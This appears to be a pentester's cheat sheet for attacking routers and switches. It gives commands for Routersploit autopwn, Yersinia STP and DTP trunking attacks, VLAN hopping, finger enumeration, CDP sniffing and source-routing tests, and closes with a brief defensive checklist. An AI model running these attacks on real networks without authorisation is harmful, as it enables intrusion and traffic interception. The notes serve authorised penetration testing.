Pentesting Routers & Switches

 Penetration testing Routers & Switches 


Routersploit 

Nipper-ng 

dig
nslookup 
port 1999

snmpsniff (v1 is vulnerable)
test for NTP 
Routersploit

git clone https://www.github.com/threat9/routersploit.git/
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py 

search exploit 
search scanner
use scanners/autopwn
set target 10.10.10.10

Attacking Switches using Yersinia on Spanning Tree Protocol (STP)

good doc

https://github.com/tomac/yersinia 

#launch GUI 
yersinia -G

#
yersinia protocol -h

#Start SPN attack and capture the traffic - sensitive info will be exposed to the network
VLAN Enumeration and Hopping and Trunking 

git clone https://github.com/nccgroup/vlan-hopping.git
./frogger.sh

#VLAN hopping/ Truking can be done via yersina as well 
#Create a new fake Trunk and let the switch believe that you are a trunk and ge the info via VLAN hopping
yersinia -G
go to DTP --> enable trunking 

#
Test for Finger Services

finger -l 10.10.10.10
finger -l user@10.10.10.10
Test for CDP 

Cisco discovery protocol is a layer 2 protocol (doesnt work on any ports) to discover each other on same link 
CDP sends - Device ID, Port ID, OS, IOS Version, capabilities and Network IP 

#Capture CDP packets using TCPDump
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' 

CDP Sniffer
IP Spoofing Attacks

- ARP 
- RIP 
- Check for internal and External IP ranges
Testing for Strict and loose Source Routing 

#loose
ping -j 10.10.10.10

#strict source routing
ping -k 10.10.10.10
Decryt Cisco Password using this script - Here 
Testing Routers

- Unused ports
- check if DHCP Snooping is enabled or not - to prevent malicious assignment of IP from rouge DHCP servers, malformed DHCP traffic
- Port Security - identifying and limiting MAC Addresses 
- Correct Timestamp
